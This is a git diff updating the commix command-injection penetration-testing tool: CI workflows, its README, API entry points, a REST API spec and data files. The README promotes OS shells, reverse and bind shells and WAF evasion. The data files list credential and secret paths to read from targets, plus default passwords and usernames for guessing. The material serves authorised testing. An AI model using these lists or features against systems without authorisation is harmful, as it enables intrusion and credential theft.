diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml new file mode 100644 index 0000000000..c80cf743ba --- /dev/null +++ b/.github/workflows/builds.yml @@ -0,0 +1,39 @@ +name: 'Builds' + +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +# Nothing here writes back to the repository. +permissions: + contents: read + +jobs: + build: + name: ${{ matrix.os }} / Python ${{ matrix.python-version }} + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + # Pairs are listed explicitly rather than crossed: Python 3.7 is published for x64 images + # only - Linux up to 22.04 and Intel macOS runners - so it cannot be installed on + # 'ubuntu-latest' (24.04) or ARM64 macOS runners. + include: + - { os: ubuntu-22.04, python-version: '3.7' } + - { os: macos-15-intel, python-version: '3.7' } + - { os: windows-latest, python-version: '3.7' } + - { os: ubuntu-latest, python-version: '3.12' } + - { os: macos-latest, python-version: '3.12' } + - { os: windows-latest, python-version: '3.12' } + steps: + - uses: actions/checkout@v4 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + - name: Basic import test + run: python -c "import commix" + - name: Basic smoke test + run: python commix.py --smoke-test diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml new file mode 100644 index 0000000000..8b1e494e6e --- /dev/null +++ b/.github/workflows/lockbot.yml @@ -0,0 +1,35 @@ +name: 'LockBot' + +on: + schedule: + - cron: '0 0 * * *' + +permissions: + issues: write + pull-requests: write + +# One at a time: a scheduled run that overlaps the last one locks the same threads twice. +concurrency: + group: lock-threads + +jobs: + action: + runs-on: ubuntu-latest + steps: + - uses: dessant/lock-threads@v6 + with: + # Issues and pull requests only - discussions are left alone, whether or not the + # repository has them enabled. + process-only: 'issues, prs' + issue-inactive-days: '30' + issue-comment: > + This issue has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.

+ _This action has been performed automatically by a bot._ + issue-lock-reason: '' + pr-inactive-days: '30' + pr-comment: > + This PR has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.

+ _This action has been performed automatically by a bot._ + pr-lock-reason: '' diff --git a/.travis.yml b/.travis.yml deleted file mode 100755 index 4ae5c8bd1f..0000000000 --- a/.travis.yml +++ /dev/null @@ -1,15 +0,0 @@ -language: python -jobs: - include: - - python: 2.6 - dist: trusty - - python: 2.7 - dist: trusty - - python: 3.3 - dist: trusty - - python: 3.6 - dist: trusty - - python: nightly - dist: bionic -script: - - python -c "import commix" diff --git a/LICENSE.txt b/LICENSE.txt index 9c2451501f..a72403d125 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2021 Anastasios Stasinopoulos +Copyright (c) 2014-2026 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/README.md b/README.md index 093f35e2c7..ed0ae8e12d 100644 --- a/README.md +++ b/README.md @@ -1,20 +1,47 @@ -

- CommixProject -

- Build Status - Python 2.6|2.7|3.x - GPLv3 License - GitHub closed issues - Twitter -

+

+ CommixProject

-**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. +
-## Screenshot +`English` • [`Ελληνικά`](doc/translations/README-gr-GR.md) • [`Español`](doc/translations/README-es-ES.md) • [`Français`](doc/translations/README-fr-FR.md) • [`فارسی`](doc/translations/README-fa-FA.md) • [`Bahasa Indonesia`](doc/translations/README-idn-IDN.md) • [`Türkçe`](doc/translations/README-tr-TR.md) + +
+ +

+ Builds Tests + Python 3.7+ + GPLv3 License + Follow @commixproject +

+ +**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command](https://owasp.org/www-community/attacks/Command_Injection)** (and **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection vulnerabilities. ![Screenshot](https://commixproject.com/images/background.png) +You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki. + +> [!IMPORTANT] +> **This project is in active development.** Expect breaking changes between revisions. Review the +> [changelog](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) before updating. +> +> Commix is primarily built to be used as a standalone CLI tool, and it executes operating system +> commands on the targets it tests. **Running commix as a service may pose security risks.** +> +> It is recommended to use it with caution, and only against systems you own or have explicit +> authorisation to test. + +## Features + +* **Four injection techniques** - results-based, boolean-based, time-based and file-based, chosen with `--technique` or by the type they report with `--type` - see [techniques](https://github.com/commixproject/commix/wiki/Techniques) for what each one asks of a target. +* **Out-of-band, when nothing comes back at all** - `--oob` proves execution and carries the command's output over HTTP/S or DNS, reaching the server through whichever client the target happens to have - see [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) for the ones it tries and how to pin one. +* **Code injection** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) tests what a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript`, `PowerShell`, `Perl` or `Lua`, over those same techniques. +* **Wherever input lands** - GET/POST parameters, [HTTP headers and cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, plus the `shellshock` module for CGI targets. +* **From proof to shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), built-in `reverse_tcp` and `bind_tcp` upgradeable to a full PTY, file transfer, Windows registry read/write, and enumeration through to password hashes with a dictionary attack offered against them. +* **Filter and WAF evasion** - combinable tamper scripts, applied in a deterministic order - see [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Targets in any shape** - a URL, a crawl, HTML forms, a sitemap, an OpenAPI (Swagger) description, a proxy log, a bulk file, a raw HTTP request, or piped `stdin` - see [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Resumable and scriptable** - [per-target session files](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR output, reusable option profiles, `--proof`, which re-proves any finding with an experiment of its own, and a [REST API](https://github.com/commixproject/commix/wiki/API) for driving scans from somewhere else. +* **Unix-like and Windows** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI back ends - see [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) for how the payloads differ. ## Installation @@ -24,24 +51,39 @@ You can download commix on any platform by cloning the official Git repository : Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master). -*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* - +> [!NOTE] +> **[Python](https://www.python.org/downloads/)** (version **3.7** or later) is required for running +> commix. All other dependencies are bundled, so no additional installation step is needed. ## Usage To get a list of all options and switches use: - $ python commix.py -h + $ python3 commix.py -h -To get an overview of commix available options, switches and/or basic ideas on how to use commix, check **[usage](https://github.com/commixproject/commix/wiki/Usage)**, **[usage examples](https://github.com/commixproject/commix/wiki/Usage-Examples)** and **[filters bypasses](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki pages. +Test a single injectable parameter, then drop into a shell on the target : + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell -## Links +Prove execution out-of-band, where the response carries nothing back : -* User's manual: https://github.com/commixproject/commix/wiki -* Issues tracker: https://github.com/commixproject/commix/issues + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> The client is picked by what the target has, so a host stripped of the usual HTTP clients is still +> in reach - pin one with `--oob-transport` where its egress is already known. By default `--oob` uses +> the public `oast.fun` interactsh server, so interaction metadata for your target leaves your +> network; point `--oob-server` at a self-hosted instance to keep it in-house. For a detailed guide, +> refer to the +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) wiki page. +Scan a list of targets unattended and write the results to a file : -## Translations + $ python3 commix.py -m targets.txt --batch --report-json=results.json -* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) \ No newline at end of file +To get an overview of commix available options, switches and/or basic ideas on how to use commix, check **[usage](https://github.com/commixproject/commix/wiki/Usage)**, **[usage examples](https://github.com/commixproject/commix/wiki/Usage-examples)** and **[filters bypasses](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki pages. + +## Links + +* User's manual: https://github.com/commixproject/commix/wiki +* Issues tracker: https://github.com/commixproject/commix/issues diff --git a/commix.py b/commix.py index 63b7f7e283..6c47220054 100755 --- a/commix.py +++ b/commix.py @@ -3,48 +3,36 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ +import sys + # Dummy check for missing module(s). try: __import__("src.utils.version") from src.utils import version version.python_version() -except ImportError: - err_msg = "Wrong installation detected (missing modules). " - err_msg = "Visit 'https://github.com/commixproject/commix/' for further details. \n" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() +except ImportError as ex: + err_msg = "Wrong installation detected (i.e \"" + str(ex) + "\"). " + err_msg += "Visit 'https://github.com/commixproject/commix/' for further details." + sys.exit(err_msg) # Main def main(): import src.core.main + src.core.main.entry_point() # Main if __name__ == '__main__': - try: - main() - except SystemExit: - import sys - raise SystemExit() - except KeyboardInterrupt: - import sys - raise SystemExit() - except IndentationError as err_msg: - from src.utils import settings - print(settings.print_critical_msg(err_msg) + ".\n") - raise SystemExit() - except: - from src.utils import common - common.unhandled_exception() + main() # eof \ No newline at end of file diff --git a/commixapi.py b/commixapi.py new file mode 100644 index 0000000000..f232b3bb78 --- /dev/null +++ b/commixapi.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from src.utils import api + +if __name__ == "__main__": + api.entry_point() + +# eof diff --git a/commixapi.yaml b/commixapi.yaml new file mode 100644 index 0000000000..631a3ac373 --- /dev/null +++ b/commixapi.yaml @@ -0,0 +1,545 @@ +openapi: 3.0.3 +info: + title: commix REST API + version: "1.0" + description: | + The API served by `commixapi.py`, implemented in `src/utils/api.py`. + + A scan is a task: created, given options under the names the command line knows them by, + started, then read while it runs and after it ends. Each task is run as a process of its own, + started from a configuration file - the same file `-c` loads. + + Notes for implementers: + * Options are the destinations of commix's own command-line options, with `-` read as `_`: + `url` is `--url`, `flush_session` is `--flush-session`. A name the parser does not know is + refused rather than kept. + * `report_json`, `output_dir` and `batch` are settled by the server, and setting them is + refused rather than ignored. + * Options that act on the host serving the API rather than on the target are refused too: + `--alert`, `-c`, `--save`, `--preprocess`, `--postprocess`, `--install`, `--update`, + `--purge`, and the switches that are not scans at all. + * Something the server understood but would not do answers `200` with `success: false` and a + `message`. Only authentication (`401`), an address that is not served (`404`), one asked for + with the wrong method (`405`) and an unhandled failure (`500`) answer with a code of their + own. + * `/scan/{taskid}/data` hands back the `--report-json` file the run is writing, so a run + started from a command line and one started here cannot answer differently. + license: + name: GNU General Public License v3 (GPLv3) + url: https://github.com/commixproject/commix/blob/master/LICENSE.txt + contact: + name: commix project + url: https://commixproject.com +externalDocs: + description: The API, in the user's manual + url: https://github.com/commixproject/commix/wiki/API +servers: + - url: http://127.0.0.1:8775 + description: A local commixapi.py server +security: + - apiToken: [] +tags: + - name: Version + description: What the server is + - name: Tasks + description: Making and forgetting tasks + - name: Options + description: Reading and settling a task's options + - name: Scans + description: Running a task, and reading it while it runs + - name: Files + description: What a task produced + - name: Admin + description: Every task at once + +paths: + /version: + get: + tags: [Version] + operationId: getVersion + summary: commix's version, and this contract's + description: >- + The one address that is served without a token, so that a client can find out what it is + talking to before it authenticates. `api` is counted apart from `version`, so a client can + tell whether it still knows how to talk to a newer commix. + security: [] + responses: + "200": + description: The versions. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + version: { type: string, example: "v4.2.dev219" } + api: { type: string, example: "1.0" } + + /task/new: + get: + tags: [Tasks] + operationId: newTask + summary: Make a task + responses: + "200": + description: The task's id. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + taskid: { type: string, example: "93c54d9323c4dcba" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /task/{taskid}/delete: + get: + tags: [Tasks] + operationId: deleteTask + summary: Forget a task, ending its scan if one is running + description: >- + What the task produced is left on disk; it is the task that is forgotten, not its output. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": { $ref: "#/components/responses/Plain" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /option/{taskid}/list: + get: + tags: [Options] + operationId: listOptions + summary: Every option of a task, with what it is set to + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: The options. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + options: + type: object + additionalProperties: true + "401": { $ref: "#/components/responses/Unauthorized" } + + /option/{taskid}/get: + post: + tags: [Options] + operationId: getOption + summary: One option, by name + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + requestBody: + required: true + content: + application/json: + schema: + type: object + required: [option] + properties: + option: { type: string, example: "url" } + responses: + "200": + description: The option, under its own name. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + additionalProperties: true + "401": { $ref: "#/components/responses/Unauthorized" } + + /option/{taskid}/set: + post: + tags: [Options] + operationId: setOptions + summary: Set options on a task + description: >- + Every option in the body is settled, in the order given. A name the parser does not know + ends the request, and the ones before it stay set. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/Options" + responses: + "200": { $ref: "#/components/responses/Plain" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/start: + post: + tags: [Scans] + operationId: startScan + summary: Start the task's scan + description: >- + Options in the body are settled first, which makes a scan two requests rather than three. + One of `url`, `logfile`, `bulkfile`, `requestfile`, `sitemap_url` or `openapi` has to be set + by then, and a scan already running is not started again. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + requestBody: + required: false + content: + application/json: + schema: + $ref: "#/components/schemas/Options" + responses: + "200": + description: The process the scan is running as. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + engineid: { type: integer, example: 45671 } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/stop: + get: + tags: [Scans] + operationId: stopScan + summary: Ask the scan to stop + description: >- + The run is asked to end and finishes its report first, so what it found up to then is kept. + Worth preferring to `/kill`, which does not. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: Whether there was a running scan to stop. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + stopped: { type: boolean } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/kill: + get: + tags: [Scans] + operationId: killScan + summary: End the scan's process outright + description: >- + The process is given no chance to write anything further, so its report stops where it was. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: Whether there was a running scan to kill. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + killed: { type: boolean } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/status: + get: + tags: [Scans] + operationId: scanStatus + summary: Where the run has got to + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: The status, and the code the process ended on where it has ended. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + status: + type: string + enum: [not started, running, completed, time-limit, terminated, failed, killed] + returncode: + type: integer + nullable: true + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/data: + get: + tags: [Scans] + operationId: scanData + summary: The run's results, as they stand + description: >- + Readable throughout: the report is written as the run goes, so findings appear as they are + confirmed. `error` is what went wrong, which is what tells a run that could not reach its + target from one that reached it and found nothing - both end with no findings. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: The report. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + data: { $ref: "#/components/schemas/Report" } + error: + type: array + items: { $ref: "#/components/schemas/Issue" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/log: + get: + tags: [Scans] + operationId: scanLog + summary: What the run has said + parameters: + - { $ref: "#/components/parameters/TaskId" } + - name: start + in: query + required: false + schema: { type: integer } + description: First line to hand back. + - name: end + in: query + required: false + schema: { type: integer } + description: Line to stop before. + responses: + "200": + description: The lines. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + log: + type: array + items: { $ref: "#/components/schemas/LogLine" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /download/{taskid}: + get: + tags: [Files] + operationId: listFiles + summary: Every file the task has to hand + description: >- + The options it was started with, the report, what it printed, and whatever the run itself + wrote - each by a path relative to the task's own directory, which is the path + `/download/{taskid}/{path}` takes. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: The files, by path. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + files: + type: array + items: + type: object + properties: + path: { type: string, example: "output/localhost_8081/logs.txt" } + size: { type: integer, example: 2127 } + "401": { $ref: "#/components/responses/Unauthorized" } + + /download/{taskid}/{path}: + get: + tags: [Files] + operationId: downloadFile + summary: One of those files, as itself + description: >- + The only address that answers with something other than JSON. A path that resolves outside + the task's own directory is refused, however it is spelled. + parameters: + - { $ref: "#/components/parameters/TaskId" } + - name: path + in: path + required: true + schema: { type: string } + description: The file's path, as the listing above gives it. + responses: + "200": + description: The file. + headers: + Content-Disposition: + schema: { type: string } + description: 'attachment; filename=""' + content: + application/octet-stream: + schema: { type: string, format: binary } + "401": { $ref: "#/components/responses/Unauthorized" } + "404": + description: No such task, or no such file in it. + content: + application/json: + schema: + $ref: "#/components/schemas/Failure" + + /admin/list: + get: + tags: [Admin] + operationId: listTasks + summary: Every task this server holds + responses: + "200": + description: The tasks, by id. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + count: { type: integer } + tasks: + type: object + additionalProperties: + type: object + properties: + status: { type: string } + returncode: { type: integer, nullable: true } + "401": { $ref: "#/components/responses/Unauthorized" } + + /admin/flush: + get: + tags: [Admin] + operationId: flushTasks + summary: Forget every task, ending any scan still running + responses: + "200": { $ref: "#/components/responses/Plain" } + "401": { $ref: "#/components/responses/Unauthorized" } + +components: + securitySchemes: + apiToken: + type: apiKey + in: header + name: X-Api-Token + description: >- + The token the server was started with, or the one it made up and printed as it started. + + parameters: + TaskId: + name: taskid + in: path + required: true + schema: + type: string + pattern: "^[0-9a-f]+$" + description: The id `/task/new` handed back. + + responses: + Plain: + description: Whether what was asked for happened. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/Success" + - $ref: "#/components/schemas/Failure" + Unauthorized: + description: The token was wrong or missing. + content: + application/json: + schema: + $ref: "#/components/schemas/Failure" + + schemas: + Success: + type: object + required: [success] + properties: + success: + type: boolean + enum: [true] + Failure: + type: object + required: [success, message] + properties: + success: + type: boolean + enum: [false] + message: + type: string + example: "Unknown option 'nosuchthing'." + Options: + type: object + description: >- + Options by the destinations of commix's own command-line options, with `-` read as `_`. + additionalProperties: true + example: + url: "http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" + flush_session: true + time_limit: 90 + Report: + type: object + description: >- + The `--report-json` report, as it stands. A run over a single target is the object below. + A run over several - `bulkfile`, `logfile`, `sitemap_url` or a crawl - carries one such + object per target under `targets`, with `started`, `status`, `finished` and `requests` for + the run as a whole. + properties: + targets: + type: array + description: Present only where the run covered more than one target. + items: + type: object + target: { type: string } + http_method: { type: string } + command: { type: string } + started: { type: string } + finished: { type: string } + status: + type: string + enum: [running, completed, time-limit, terminated, failed] + requests: { type: integer } + target_os: { type: string } + waf_detected: { type: boolean } + evasion_applied: { type: string } + findings: + type: array + items: { $ref: "#/components/schemas/Finding" } + errors: + type: array + items: { $ref: "#/components/schemas/Issue" } + Finding: + type: object + properties: + parameter: { type: string, example: "addr" } + http_method: { type: string, example: "GET" } + technique: { type: string, example: "Results-based" } + type: { type: string, example: "Classic command injection" } + boundary: { type: string, example: "';' separator, ' ' whitespace" } + payload: { type: string } + reproduce: + type: string + description: The single request that brings the finding back. + reproduce_caveats: { type: string } + Issue: + type: object + properties: + time: { type: string, example: "08:12:05" } + level: + type: string + enum: [error, critical, abort] + message: { type: string } + LogLine: + type: object + properties: + time: { type: string, example: "08:12:01" } + level: { type: string, example: "info" } + message: { type: string, example: "Testing connection to the target URL." } diff --git a/data/txt/brotli-dictionary.tx_ b/data/txt/brotli-dictionary.tx_ new file mode 100644 index 0000000000..b8354d0bdb Binary files /dev/null and b/data/txt/brotli-dictionary.tx_ differ diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt new file mode 100644 index 0000000000..7cc12f10a2 --- /dev/null +++ b/data/txt/common-files.txt @@ -0,0 +1,80 @@ +# Candidate paths for '--common-files', checked for existence one at a time through the confirmed +# injection point. Only absolute paths are listed - a relative one would resolve against whatever +# directory the shell starts a command in, which is not reliably the web root. Unix-style paths are +# tried on a Unix-like target, drive-letter paths on a Windows one - each line only on the target OS +# it is shaped for. + +# System accounts and shell configuration +/etc/passwd +/etc/shadow +/etc/group +/etc/hosts +/etc/hostname +/etc/resolv.conf +/etc/sudoers +/etc/crontab +/root/.bash_history +/root/.ssh/id_rsa +/root/.ssh/authorized_keys + +# Web server configuration +/etc/apache2/apache2.conf +/etc/httpd/conf/httpd.conf +/etc/nginx/nginx.conf +/etc/php.ini + +# Cloud and service credentials +/root/.aws/credentials +/root/.aws/config +/root/.docker/config.json +/var/lib/docker/config.json +/root/.kube/config +/root/.config/gcloud/application_default_credentials.json +/root/.azure/accessTokens.json +/root/.azure/azureProfile.json +/root/.netrc +/root/.npmrc +/root/.pypirc +/root/.git-credentials +/proc/self/environ + +# Container and orchestration signals - fixed paths regardless of which user the container runs +# as, since they come from how the container/pod itself is set up, not from a home directory. +/.dockerenv +/proc/1/cgroup +/var/run/secrets/kubernetes.io/serviceaccount/token +/var/run/secrets/kubernetes.io/serviceaccount/namespace +/var/run/secrets/kubernetes.io/serviceaccount/ca.crt + +# Logs that can carry secrets a request leaked +/var/log/auth.log +/var/log/apache2/access.log +/var/log/nginx/access.log + +# Windows system configuration +C:\Windows\win.ini +C:\Windows\System32\drivers\etc\hosts +C:\Windows\repair\SAM +C:\Windows\System32\config\SAM +C:\Windows\debug\NetSetup.log +C:\Windows\Panther\Unattend.xml +C:\Windows\Panther\Unattended.xml +C:\Windows\System32\inetsrv\config\applicationHost.config +C:\inetpub\wwwroot\web.config +C:\xampp\apache\conf\httpd.conf +C:\xampp\php\php.ini +C:\AppServ\www\config.php + +# Windows user data +C:\Users\Administrator\NTUser.dat +C:\Users\Administrator\.ssh\id_rsa +C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt + +# Windows cloud and service credentials +C:\Users\Administrator\.aws\credentials +C:\Users\Administrator\.docker\config.json +C:\Users\Administrator\.kube\config +C:\Users\Administrator\.netrc +C:\Users\Administrator\.npmrc +C:\Users\Administrator\.pypirc +C:\Users\Administrator\.git-credentials diff --git a/data/txt/common-parameters.txt b/data/txt/common-parameters.txt new file mode 100644 index 0000000000..742c69d119 --- /dev/null +++ b/data/txt/common-parameters.txt @@ -0,0 +1,149 @@ +# Candidate parameter names for '--mine-params', ordered by how often the value behind them is +# handed to a shell rather than by how often the name itself appears. +addr +address +host +hostname +ip +ipaddr +ping +target +domain +server +node +peer +url +uri +link +src +source +dest +destination +redirect +next +cmd +command +exec +execute +run +do +action +op +operation +func +function +method +call +task +job +script +shell +sh +bash +proc +process +sys +system +eval +code +expr +query +q +search +filter +term +keyword +file +filename +fname +path +dir +directory +folder +document +doc +page +name +user +username +account +login +id +uid +pid +key +value +val +data +input +output +arg +args +param +params +option +opts +config +setting +mode +type +kind +format +fmt +ext +lang +locale +charset +encoding +port +proto +protocol +scheme +method_type +time +date +timeout +delay +interval +count +limit +offset +size +length +level +depth +debug +test +trace +log +logfile +msg +message +text +content +body +template +tpl +view +layout +theme +style +callback +cb +jsonp +token +hash +sig +ref +referer +origin +device +agent +platform +os +arch +version +release +branch +tag +env diff --git a/data/txt/default_passwords.txt b/data/txt/default_passwords.txt new file mode 100644 index 0000000000..9cdede3843 --- /dev/null +++ b/data/txt/default_passwords.txt @@ -0,0 +1,167 @@ +0000 +0123456789 +0P3N +1 +123 +1234 +12345 +123456 +12345678 +123456789 +1234567890 +3bb +3play +3UJUh2VemEfUtesEchEC2d2e +4135279 +@HuaweiHgw +abcd12345 +access key on label +addon +admim +admin +Admin +admin01 +admin1 +Admin123 +admin_Ultimate +adminHW +Administrator +administrator +adminpldt +admintelecom +advanced +airlive +aisadmin +atlantis +attadmin +Aztechadmin +barricade +bayandsl +belong +bEn2o#US9s +bezeqint +broadband +BSNL1234 +cableroot +cciadmin +changeme +cht +chtnvdsl +cisco +Cl@r0 +comcast +conexant +conf +Conf +ctAdmin +cusadmin +cytauser +default +digi +digicel +draadloos +DSL +dsmart +Enduser +enduser +entel +epicrouter +Epuser +Expert +fastweb +fritzfonbox +geekadsl +Gponinstalador@123 +gttuser +guest +Guest +gvt12345 +hamlet +highspeed +home +homebro +HPN +hsparouter +HuaweiUser +ipbbx +kpn +KPN +kpn-adsl +lightweight +linksys +liveboxfibra +loqal +LTEcpe +MaxisBB +menara +meo +motorola +Motorola +mtn +mysweex +NEMONTadmin +netis +NOLOGIN +on +OP3N +oper1234 +operator +optus +ovislink +password +password1 +pentagram +pfsense +primus +public +pz938qd6 +pz938qdx +root +router +scmcadmin +SerialNumber +sitecom +sky +smartbro +smc +smcadmin +SpeedStream +superonline +superu +superuser +support +surecom +sweex +tattoo@home +Techni1789# +telecomadmin +telekom +telekomst +TELMEX +telstra +Telstra +telus +test +tmadmin +tot +trendchip +trustpower +ttnet +ubnt +unknown +user +User +useradmin +userEp +utstar +VF-IRhg556 +vivo12345 +vodafone +voo +webadmin +Xavi +zain +zhone +ziggo +zoomadsl +ZXDSL \ No newline at end of file diff --git a/data/txt/default_usernames.txt b/data/txt/default_usernames.txt new file mode 100644 index 0000000000..7020ac13de --- /dev/null +++ b/data/txt/default_usernames.txt @@ -0,0 +1,14 @@ +!root +111111 +1234 +123456 +admin +admin1 +administrator +anonymous +cisco +root +r00t +test +webadmin +user \ No newline at end of file diff --git a/data/txt/mobile-user-agents.txt b/data/txt/mobile-user-agents.txt new file mode 100644 index 0000000000..a11621b200 --- /dev/null +++ b/data/txt/mobile-user-agents.txt @@ -0,0 +1,14 @@ +# Smartphone HTTP User-Agent headers offered by the '--mobile' switch. +# One device per line, as "nameuser-agent" - the name is what the menu lists, so the two +# cannot drift apart. The default is marked with a leading '*'. +Apple iPhone 15 Pro Max * Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1 +BlackBerry Z10 Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+ +Google Nexus 7 Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 +Google Pixel 9 Mozilla/5.0 (Linux; Android 14; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36 +HP iPAQ 6365 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300) +HTC One X2 Mozilla/5.0 (Linux; Android 14; X2-HT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.46 Mobile Safari/537.36 +Huawei Honor 90 Pro Mozilla/5.0 (Linux; Android 15; REP-AN00 Build/HONORREP-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/133.0.6943.137 Mobile Safari/537.36 +Microsoft Lumia 950 XL Mozilla/5.0 (Windows Mobile 10; Android 10.0; Microsoft; Lumia 950XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 Edge/40.15254.603 +Nokia N97 Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344 +Samsung Galaxy A54 Mozilla/5.0 (Linux; Android 15; SM-A546B) AppleWebKit/537.36 (KHTML, like Gecko) 